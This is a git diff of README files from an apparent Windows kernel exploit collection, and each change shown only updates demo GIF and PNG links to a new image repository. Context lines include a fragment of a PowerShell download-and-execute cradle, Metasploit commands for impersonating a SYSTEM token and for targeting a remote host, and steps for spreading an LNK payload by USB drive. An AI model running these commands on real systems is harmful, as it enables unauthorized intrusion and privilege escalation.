![5](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-0095_win7_x64.gif)
#### 分析文章
- https://xz.aliyun.com/t/6008

2
CVE-2016-0095/README_EN.md
View File

@@ -25,7 +25,7 @@ The X64 version in the project is perfect for Windows 7 SP1 X64 and Windows Serv
Test the GIF map of Windows 7 SP1 X64
![5](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0095_win7_x64.gif)
![5](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-0095_win7_x64.gif)
#### Analyze
- https://xz.aliyun.com/t/6008

4
CVE-2016-0099/README.md
View File

@@ -38,9 +38,9 @@ powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('
GIF图如下
![6](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0099_win2008_x64_ps.gif)
![6](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-0099_win2008_x64_ps.gif)
利用exe文件测试通杀x64和x86的所有版本，这边只录制Windows 7 SP1 x64版本的
![7](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0099_win7_x64.gif)
![7](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-0099_win7_x64.gif)

4
CVE-2016-0099/README_EN.md
View File

@@ -38,9 +38,9 @@ powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('
GIF map is as follows
![6](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0099_win2008_x64_ps.gif)
![6](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-0099_win2008_x64_ps.gif)
Test all the versions of X64 and X86 using the EXE file, which only records Windows 7 SP1 X64 version
![7](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-0099_win7_x64.gif)
![7](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-0099_win7_x64.gif)

12
CVE-2016-3225/README.md
View File

@@ -31,7 +31,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-3225
Windows 7 SP1 x64测试中，使用`whoami /priv`命令查看发现并无**SeImpersonatePrivilege**特权烂土豆提权需要该特权为开启状态，所以测试的时候直接用管理员权限运行
![image-20200819140202765](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64.png)
![image-20200819140202765](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64.png)
利用MSF+烂土豆提权，首先我们假定机器已经上线，通过msf中自带的插件来识别当前系统中可以利用的EXP来进行提权
@@ -43,11 +43,11 @@ run
如果没有用管理员权限运行MSF生成的exe的话，脚本检测是这样的
![image-20200819112155945](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64_msf_1.png)
![image-20200819112155945](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64_msf_1.png)
如果使用管理员权限运行的话检测是这样的，可以看到比上面多了个ms16_075
![image-20200819140819782](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64_msf_2.png)
![image-20200819140819782](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64_msf_2.png)
编译好烂土豆的文件
@@ -71,11 +71,11 @@ list_tokens -u #列出目标主机用户的可用令牌
impersonate_token "NT AUTHORITY\SYSTEM"#假冒目标主机上的可用令牌
```
![image-20200819141240274](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64_msf_3.png)
![image-20200819141240274](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64_msf_3.png)
进入shell查看
![image-20200819141337651](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64_msf_4.png)
![image-20200819141337651](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64_msf_4.png)
> 第二种利用方式
@@ -85,5 +85,5 @@ impersonate_token "NT AUTHORITY\SYSTEM"#假冒目标主机上的可用令牌
由于普通账号没有**SeImpersonatePrivilege**特权，这边用管理员账号来演示，利用程序**potatoNG.exe**直接上GIF图
![4](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64.gif)
![4](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64.gif)

12
CVE-2016-3225/README_EN.md
View File

@@ -32,7 +32,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-3225
Windows 7 SP1 x64测试中，use `whoami /priv` Command View Discovery None **SeiMpersonateprivilege** Privilege Potato Right requires this privilege to turn on, so use administrator privileges when testing
![image-20200819140202765](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64.png)
![image-20200819140202765](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64.png)
Use MSF + rotten potatoes，First we assume that the machine has been launched, through the plugins from the MSF to identify the EXP you can take advantage of the current system to carry out rights
@@ -44,11 +44,11 @@ run
If you do not run the MSF generated EXE, the script test is like this.
![image-20200819112155945](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64_msf_1.png)
![image-20200819112155945](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64_msf_1.png)
If you use the administrator privilege to run, you can see more than the above MS16_075.
![image-20200819140819782](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64_msf_2.png)
![image-20200819140819782](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64_msf_2.png)
Compiling the files of bad potatoes
@@ -72,11 +72,11 @@ list_tokens -u #列出目标主机用户的可用令牌
impersonate_token "NT AUTHORITY\SYSTEM"#假冒目标主机上的可用令牌
```
![image-20200819141240274](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64_msf_3.png)
![image-20200819141240274](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64_msf_3.png)
Enter the Shell View
![image-20200819141337651](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64_msf_4.png)
![image-20200819141337651](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64_msf_4.png)
> Second utilization
@@ -86,5 +86,5 @@ CompilerEnvironment
Since there is no **Seimpersonateprivilege** privilege, this is demonstrated by the administrator account, using the program **potatoNG.exe** directly GIF map
![4](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3225_win7_x64.gif)
![4](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3225_win7_x64.gif)

2
CVE-2016-3371/README.md
View File

@@ -30,7 +30,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-3371
测试系统Windows 8.1 x64
![4](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3371_win_8.1_x64.gif)
![4](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3371_win_8.1_x64.gif)
#### 项目来源

2
CVE-2016-3371/README_EN.md
View File

@@ -31,7 +31,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-3371
Test system Windows 8.1 x64
![4](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-3371_win_8.1_x64.gif)
![4](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-3371_win_8.1_x64.gif)
#### ProjectSource

2
CVE-2016-7255/README.md
View File

@@ -37,7 +37,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7255
通过ps脚本进行演示，直接上GIF图
![3](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-7255_win7_x86.gif)
![3](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-7255_win7_x86.gif)
#### 分析文章
- https://www.anquanke.com/post/id/85232

2
CVE-2016-7255/README_EN.md
View File

@@ -37,7 +37,7 @@ This vulnerability kills all affected system X64 versions, three Exp can be used
Demo through the PS script, directly on the GIF map
![3](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2016-7255_win7_x86.gif)
![3](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2016-7255_win7_x86.gif)
#### Analyze
- https://www.anquanke.com/post/id/85232

2
CVE-2017-0101/README.md
View File

@@ -26,7 +26,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0101
测试Windows 7 SP1 x86通过，直接上GIF图
![2](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2017-0101_win7_x86.gif)
![2](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-0101_win7_x86.gif)
#### 分析文章
- https://paper.seebug.org/586/

2
CVE-2017-0101/README_EN.md
View File

@@ -27,7 +27,7 @@ CompilerEnvironment
Test Windows 7 SP1 X86 pass, directly on GIF map
![2](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2017-0101_win7_x86.gif)
![2](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-0101_win7_x86.gif)
#### Analyze
- https://paper.seebug.org/586/

4
CVE-2017-0143/README.md
View File

@@ -37,11 +37,11 @@ set RHOSTS 192.168.0.128
run
```
![image-20200818114043309](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2017-0143_msf_1.png)
![image-20200818114043309](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-0143_msf_1.png)
并且权限是system的
![image-20200818114925926](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2017-0143_msf_2.png)
![image-20200818114925926](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-0143_msf_2.png)
#### 分析文章

4
CVE-2017-0143/README_EN.md
View File

@@ -38,11 +38,11 @@ set RHOSTS 192.168.0.128
run
```
![image-20200818114043309](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2017-0143_msf_1.png)
![image-20200818114043309](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-0143_msf_1.png)
And the permissions are SYSTEM
![image-20200818114925926](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2017-0143_msf_2.png)
![image-20200818114925926](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-0143_msf_2.png)
#### Analyze

2
CVE-2017-0213/README.md
View File

@@ -36,7 +36,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0213
测试环境Windows 7 SP1 x64
![CVE-2017-0213_win7_x86](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2017-0213_win7_x86.gif)
![CVE-2017-0213_win7_x86](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-0213_win7_x86.gif)
#### 分析文章
- https://cloud.tencent.com/developer/article/1045805

2
CVE-2017-0213/README_EN.md
View File

@@ -36,7 +36,7 @@ CompilerEnvironment
Test environment Windows 7 SP1 x64
![CVE-2017-0213_win7_x86](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2017-0213_win7_x86.gif)
![CVE-2017-0213_win7_x86](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-0213_win7_x86.gif)
#### Analyze
- https://cloud.tencent.com/developer/article/1045805

6
CVE-2017-8464/README.md
View File

@@ -41,7 +41,7 @@ run
生成文件
![CVE-2017-8464_win7_x86_msf](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2017-8464_win7_x86_msf.png)
![CVE-2017-8464_win7_x86_msf](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-8464_win7_x86_msf.png)
运行命令把它拷贝到test目录下
@@ -49,7 +49,7 @@ run
cp -r /root/.msf4/local/ /root/test
```
![CVE-2017-8464_win7_x86_msf2](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2017-8464_win7_x86_msf2.png)
![CVE-2017-8464_win7_x86_msf2](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-8464_win7_x86_msf2.png)
接着把这些文件全部拷贝到U盘中，然后插上电脑即可
@@ -61,7 +61,7 @@ https://github.com/Ascotbe/WinKernelhub/tree/master/Patch
GIF图如下
![1](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2017-8464_win7_x86.gif)
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-8464_win7_x86.gif)
#### 分析文章
- https://my.oschina.net/u/4310658/blog/3695267

6
CVE-2017-8464/README_EN.md
View File

@@ -42,7 +42,7 @@ run
Generate files
![CVE-2017-8464_win7_x86_msf](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2017-8464_win7_x86_msf.png)
![CVE-2017-8464_win7_x86_msf](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-8464_win7_x86_msf.png)
Run the command to copy it into the test directory
@@ -50,7 +50,7 @@ Run the command to copy it into the test directory
cp -r /root/.msf4/local/ /root/test
```
![CVE-2017-8464_win7_x86_msf2](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2017-8464_win7_x86_msf2.png)
![CVE-2017-8464_win7_x86_msf2](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-8464_win7_x86_msf2.png)
Then copy all of these files to the U disk, then plug in the computer.
@@ -62,7 +62,7 @@ https://github.com/Ascotbe/WinKernelhub/tree/master/Patch
GIF map is as follows
![1](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2017-8464_win7_x86.gif)
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-8464_win7_x86.gif)
#### Analyze
- https://my.oschina.net/u/4310658/blog/3695267

2
CVE-2018-0833/README.md
View File

@@ -26,7 +26,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0833
效果图如下
![CVE](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2018-0833.gif)
![CVE](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2018-0833.gif)
#### 分析文章
- https://de4dcr0w.github.io/cve%E6%BC%8F%E6%B4%9E/SMBv3%E6%97%A0%E6%95%88%E6%8C%87%E9%92%88%E5%BC%95%E7%94%A8%E6%BC%8F%E6%B4%9E(CVE-2018-0833).html

2
CVE-2018-0833/README_EN.md
View File

@@ -27,7 +27,7 @@ First, use a machine (test Used Kali) to run the Python script in the project, t
The effect picture is as follows
![CVE](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2018-0833.gif)
![CVE](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2018-0833.gif)
#### Analyze
- https://de4dcr0w.github.io/cve%E6%BC%8F%E6%B4%9E/SMBv3%E6%97%A0%E6%95%88%E6%8C%87%E9%92%88%E5%BC%95%E7%94%A8%E6%BC%8F%E6%B4%9E(CVE-2018-0833).html

2
CVE-2018-8120/README.md
View File

@@ -27,7 +27,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120
当前测试系统Windows 7 SP1 x64
![1](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2018-8120_win7_x64.gif)
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2018-8120_win7_x64.gif)
#### 分析文章
- https://github.com/EVOL4/CVE-2018-8120/blob/master/CVE-2018-8120.md

2
CVE-2018-8120/README_EN.md
View File

@@ -27,7 +27,7 @@ CompilerEnvironment
Test system Windows 7 SP1 x64
![1](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2018-8120_win7_x64.gif)
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2018-8120_win7_x64.gif)
#### Analyze
- https://github.com/EVOL4/CVE-2018-8120/blob/master/CVE-2018-8120.md

2
CVE-2018-8453/README.md
View File

@@ -40,7 +40,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8453
测试系统Windows 10 1709 x64
![CVE-2018-8453](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2018-8453_win10_1709_x64.gif)
![CVE-2018-8453](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2018-8453_win10_1709_x64.gif)
#### 分析文章
- https://github.com/thepwnrip/leHACK-Analysis-of-CVE-2018-8453

2
CVE-2018-8453/README_EN.md
View File

@@ -40,7 +40,7 @@ CompilerEnvironment
Test system Windows 10 1709 x64
![CVE-2018-8453](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2018-8453_win10_1709_x64.gif)
![CVE-2018-8453](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2018-8453_win10_1709_x64.gif)
#### Analyze
- https://github.com/thepwnrip/leHACK-Analysis-of-CVE-2018-8453

4
CVE-2018-8639/README.md
View File

@@ -40,7 +40,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8639
在Windows 2008 R2 SP1 X64上测试通过的EXP，直接上GIF图
![2](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2018-8639_win2008_r2_sp1_x64.gif)
![2](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2018-8639_win2008_r2_sp1_x64.gif)
@@ -54,7 +54,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8639
Windows 7 SP1 X64测试通过的EXP，上GIF图
![3](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2018-8639_win7_sp1_x64.gif)
![3](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2018-8639_win7_sp1_x64.gif)
#### 分析文章
- https://www.anquanke.com/post/id/183358

4
CVE-2018-8639/README_EN.md
View File

@@ -40,7 +40,7 @@ CompilerEnvironment
Windows 2008 R2 SP1 X64 test passed EXP, directly on GIF map
![2](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2018-8639_win2008_r2_sp1_x64.gif)
![2](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2018-8639_win2008_r2_sp1_x64.gif)
@@ -54,7 +54,7 @@ CompilerEnvironment
Windows 7 SP1 X64 test via EXP, on GIF map
![3](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2018-8639_win7_sp1_x64.gif)
![3](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2018-8639_win7_sp1_x64.gif)
#### Analyze
- https://www.anquanke.com/post/id/183358

2
CVE-2019-0623/README.md
View File

@@ -38,7 +38,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0623
改POC只对x86的机器有效，测试机器为Windows 7 SP1 x86
![](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2019-0623_win_7_sp1_x86.gif)
![](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-0623_win_7_sp1_x86.gif)

2
CVE-2019-0623/README_EN.md
View File

@@ -39,7 +39,7 @@ CompilerEnvironment
POC is only valid for the X86 machine, the test machine is Windows 7 SP1 X86
![](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2019-0623_win_7_sp1_x86.gif)
![](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-0623_win_7_sp1_x86.gif)

2
CVE-2019-0803/README.md
View File

@@ -40,7 +40,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0803
这里测试机器是Windows Server 2008 R2 x64，上GIF图
![11](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2019-0803_win2008_r2_x64.gif)
![11](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-0803_win2008_r2_x64.gif)
#### 分析文章
- https://bbs.pediy.com/thread-260289.htm

2
CVE-2019-0803/README_EN.md
View File

@@ -40,7 +40,7 @@ CompilerEnvironment
Here the test machine is Windows Server 2008 R2 X64, on the GIF map
![11](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2019-0803_win2008_r2_x64.gif)
![11](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-0803_win2008_r2_x64.gif)
#### Analyze
- https://bbs.pediy.com/thread-260289.htm

2
CVE-2019-0808/README.md
View File

@@ -25,7 +25,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0808
- 编译有点问题
测试机器为Windows 7 SP1 x86
![](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2019-0808_win_7_sp1_x86.gif)
![](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-0808_win_7_sp1_x86.gif)

2
CVE-2019-0808/README_EN.md
View File

@@ -26,7 +26,7 @@ CompilerEnvironment
Test machine for Windows 7 SP1 X86
![](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2019-0808_win_7_sp1_x86.gif)
![](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-0808_win_7_sp1_x86.gif)

2
CVE-2019-1388/README.md
View File

@@ -42,7 +42,7 @@ https://github.com/Ascotbe/WindowsKernelExploits/blob/master/CVE-2019-1388/HHUPD
测试系统Windows 7 SP1 x64
![1](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2019-1388_win7_sp1_x64.gif)
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-1388_win7_sp1_x64.gif)
#### 分析文章
- http://blog.leanote.com/post/snowming/38069f423c76

2
CVE-2019-1388/README_EN.md
View File

@@ -42,7 +42,7 @@ https://github.com/Ascotbe/WindowsKernelExploits/blob/master/CVE-2019-1388/HHUPD
Test system Windows 7 SP1 x64
![1](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2019-1388_win7_sp1_x64.gif)
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-1388_win7_sp1_x64.gif)
#### Analyze
- http://blog.leanote.com/post/snowming/38069f423c76

2
CVE-2019-1458/README.md
View File

@@ -39,7 +39,7 @@ cve-2019-1458.exe
测试系统Windows 7 SP1 x64 ，直接上GIF图
![11](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2019-1458_win7_sp1_x64.gif)
![11](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-1458_win7_sp1_x64.gif)
#### 分析文章
- https://github.com/piotrflorczyk/cve-2019-1458_POC

2
CVE-2019-1458/README_EN.md
View File

@@ -40,7 +40,7 @@ cve-2019-1458.exe
Test system Windows 7 SP1 x64 ，Direct GIF map
![11](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2019-1458_win7_sp1_x64.gif)
![11](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-1458_win7_sp1_x64.gif)
#### Analyze
- https://github.com/piotrflorczyk/cve-2019-1458_POC

2
CVE-2020-0668/README.md
View File

@@ -42,7 +42,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0668
该EXP是使用提权进行文件迁移操作，如果想使用cmd需要自己修改代码，测试机器Windows 10 1709 X64，动图中是把**test.dll**移动到 `C:\Windows\System32`目录下，**test.dll**可以是任意文件。使用exe时需要把**NtApiDotNet.dll**文件放到同级目录
![](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2020-0668_Windows_10_1709_X64.gif)
![](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-0668_Windows_10_1709_X64.gif)
> Use https://github.com/itm4n/UsoDllLoader (Windows >= 1903) OR https://github.com/xct/diaghub (Windows < 1903) for privilege escalation.

2
CVE-2020-0668/README_EN.md
View File

@@ -42,7 +42,7 @@ CompilerEnvironment
The exp is a file migration operation using rights, if you want to use CMD, you need to modify the code, test the machine Windows 10 1709 x64，The moving map is moved to the `C:\Windows\System32` directory, **Test.dll** can be any file. Put the **ntapidotNet.dll** file in the same level when using EXE
![](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2020-0668_Windows_10_1709_X64.gif)
![](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-0668_Windows_10_1709_X64.gif)
> Use https://github.com/itm4n/UsoDllLoader (Windows >= 1903) OR https://github.com/xct/diaghub (Windows < 1903) for privilege escalation.

2
CVE-2020-0683/README.md
View File

@@ -42,7 +42,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0683
测试机器Windows 10 1909 X64，源码中只对指定文件进行写入信息，如果需要获取某项程序的权限，需要自行修改源码
![](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2020-0683_win10_1909_x64.gif)
![](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-0683_win10_1909_x64.gif)
#### 分析文章
- [MSI_EoP_New.pdf](./MSI_EoP_New.pdf)

2
CVE-2020-0683/README_EN.md
View File

@@ -42,7 +42,7 @@ CompilerEnvironment
Test Machine Windows 10 1909 x64, only written information on the specified file in the source code, if you need to get the permissions of a program, you need to modify the source code yourself.
![](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2020-0683_win10_1909_x64.gif)
![](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-0683_win10_1909_x64.gif)
#### Analyze

2
CVE-2020-0787/README.md
View File

@@ -48,7 +48,7 @@ BitsArbitraryFileMoveExploit.exe
测试系统Windows 7 SP1 x64，直接上GIF图
![1](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2020-0787_win7_sp1_x64.gif)
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-0787_win7_sp1_x64.gif)
#### 分析文章
- https://f5.pm/go-28382.html

2
CVE-2020-0787/README_EN.md
View File

@@ -48,7 +48,7 @@ BitsArbitraryFileMoveExploit.exe
Test system Windows 7 SP1 x64，Direct GIF map
![1](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2020-0787_win7_sp1_x64.gif)
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-0787_win7_sp1_x64.gif)
#### Analyze
- https://f5.pm/go-28382.html

4
CVE-2020-0796/README.md
View File

@@ -39,11 +39,11 @@ ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4
Get-FileHash -Path c:/windows/system32/drivers/srv2.sys
```
![image-20200810115258497](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2020-0796_powershell.png)
![image-20200810115258497](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-0796_powershell.png)
然后就直接上GIF图了
![1](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2020-0796_win10_1903_x64.gif)
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-0796_win10_1903_x64.gif)
#### 分析文章
- https://paper.seebug.org/1168/

4
CVE-2020-0796/README_EN.md
View File

@@ -40,11 +40,11 @@ View MD5 value
Get-FileHash -Path c:/windows/system32/drivers/srv2.sys
```
![image-20200810115258497](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2020-0796_powershell.png)
![image-20200810115258497](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-0796_powershell.png)
Then directly gif map
![1](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2020-0796_win10_1903_x64.gif)
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-0796_win10_1903_x64.gif)
#### Analyze
- https://paper.seebug.org/1168/

2
CVE-2020-1015/README.md
View File

@@ -49,7 +49,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1015
测试机器Windows 10 1909 X64，会使CPU跑满导致蓝屏
![](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2020-1015_win10_1909_x64_poc.gif)
![](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-1015_win10_1909_x64_poc.gif)
#### 分析文章
- https://0xeb-bp.com/blog/2020/05/12/cve-2020-1015-analysis.html

2
CVE-2020-1015/README_EN.md
View File

@@ -49,7 +49,7 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1015
Test Machine Windows 10 1909 x64, will make CPUs to lead blue screen
![](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2020-1015_win10_1909_x64_poc.gif)
![](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-1015_win10_1909_x64_poc.gif)
#### Analyze
- https://0xeb-bp.com/blog/2020/05/12/cve-2020-1015-analysis.html

2
CVE-2020-1054/README.md
View File

@@ -53,7 +53,7 @@ cargo build --release
接着直接在Windows 7 SP1 X64下运行即可
![CVE-2020-1054](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2020-1054_windows_7_x64.gif)
![CVE-2020-1054](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-1054_windows_7_x64.gif)
#### 分析文章
- https://www.anquanke.com/post/id/209329

2
CVE-2020-1054/README_EN.md
View File

@@ -53,7 +53,7 @@ There are two points here to pay attention:
Then run directly in Windows 7 SP1 X64
![CVE-2020-1054](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2020-1054_windows_7_x64.gif)
![CVE-2020-1054](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-1054_windows_7_x64.gif)
#### Analyze
- https://www.anquanke.com/post/id/209329

Some files were not shown because too many files have changed in this diff Show More